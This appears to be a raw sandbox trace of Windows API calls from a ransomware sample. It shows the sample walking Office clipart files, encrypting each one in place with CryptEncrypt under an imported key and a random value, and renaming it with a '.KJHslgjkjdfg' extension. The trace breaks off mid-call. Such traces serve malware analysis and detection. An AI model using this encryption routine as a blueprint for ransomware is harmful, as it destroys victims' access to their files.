[0192.465] GetProcessHeap () returned 0x2a0000 [0192.465] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.kjhslgjkjdfg")) returned 1 [0192.467] CloseHandle (hObject=0x114) returned 1 [0192.467] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98217300, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98217300, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x25bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00116_.WMF", cAlternateFileName="")) returned 1 [0192.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.470] GetProcessHeap () returned 0x2a0000 [0192.471] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.471] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.471] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.471] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.473] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.473] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.473] GetProcessHeap () returned 0x2a0000 [0192.473] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.473] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.473] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.473] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.473] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.474] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.474] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.474] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.474] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.474] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.474] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.474] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.474] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x25bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x25bc, lpOverlapped=0x0) returned 1 [0192.475] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25c0, dwBufLen=0x25c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25c0) returned 1 [0192.475] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.475] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x25c0, lpOverlapped=0x0) returned 1 [0192.475] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.475] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.475] SetEndOfFile (hFile=0x114) returned 1 [0192.478] GetProcessHeap () returned 0x2a0000 [0192.478] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.478] GetProcessHeap () returned 0x2a0000 [0192.478] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.478] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.kjhslgjkjdfg")) returned 1 [0192.480] CloseHandle (hObject=0x114) returned 1 [0192.480] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ebde00, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36ebde00, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00126_.WMF", cAlternateFileName="")) returned 1 [0192.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.482] GetProcessHeap () returned 0x2a0000 [0192.482] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.482] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.482] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0192.485] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.485] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.485] GetProcessHeap () returned 0x2a0000 [0192.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.485] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.485] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.485] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.485] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.485] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.485] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.485] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.485] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.486] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.486] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.486] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.486] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1234, lpOverlapped=0x0) returned 1 [0192.487] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1240, dwBufLen=0x1240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1240) returned 1 [0192.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.487] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1240, lpOverlapped=0x0) returned 1 [0192.487] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.487] SetEndOfFile (hFile=0x114) returned 1 [0192.490] GetProcessHeap () returned 0x2a0000 [0192.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.490] GetProcessHeap () returned 0x2a0000 [0192.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.kjhslgjkjdfg")) returned 1 [0192.492] CloseHandle (hObject=0x114) returned 1 [0192.492] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373d6f00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x373d6f00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x235c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00172_.WMF", cAlternateFileName="")) returned 1 [0192.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.493] GetProcessHeap () returned 0x2a0000 [0192.493] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.493] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.494] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.494] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.496] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.496] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.496] GetProcessHeap () returned 0x2a0000 [0192.496] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.496] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.496] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.496] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.496] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.496] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.496] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.497] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.497] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.497] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x235c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x235c, lpOverlapped=0x0) returned 1 [0192.498] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2360, dwBufLen=0x2360 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2360) returned 1 [0192.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.498] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2360, lpOverlapped=0x0) returned 1 [0192.498] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.498] SetEndOfFile (hFile=0x114) returned 1 [0192.502] GetProcessHeap () returned 0x2a0000 [0192.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.502] GetProcessHeap () returned 0x2a0000 [0192.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.kjhslgjkjdfg")) returned 1 [0192.504] CloseHandle (hObject=0x114) returned 1 [0192.504] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ca2e00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75ca2e00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x2142, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00178_.WMF", cAlternateFileName="")) returned 1 [0192.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.505] GetProcessHeap () returned 0x2a0000 [0192.505] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.505] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.505] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.506] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0192.508] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.508] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.508] GetProcessHeap () returned 0x2a0000 [0192.508] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.508] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.508] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.508] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.508] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.508] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.509] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.509] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.509] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.509] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.509] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.509] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2142, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2142, lpOverlapped=0x0) returned 1 [0192.513] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2150, dwBufLen=0x2150 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2150) returned 1 [0192.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.513] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2150, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2150, lpOverlapped=0x0) returned 1 [0192.514] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.514] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.514] SetEndOfFile (hFile=0x114) returned 1 [0192.517] GetProcessHeap () returned 0x2a0000 [0192.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.517] GetProcessHeap () returned 0x2a0000 [0192.517] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.kjhslgjkjdfg")) returned 1 [0192.519] CloseHandle (hObject=0x114) returned 1 [0192.519] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc9200, ftCreationTime.dwHighDateTime=0x1bf324c, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefc9200, ftLastWriteTime.dwHighDateTime=0x1bf324c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00232_.WMF", cAlternateFileName="")) returned 1 [0192.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 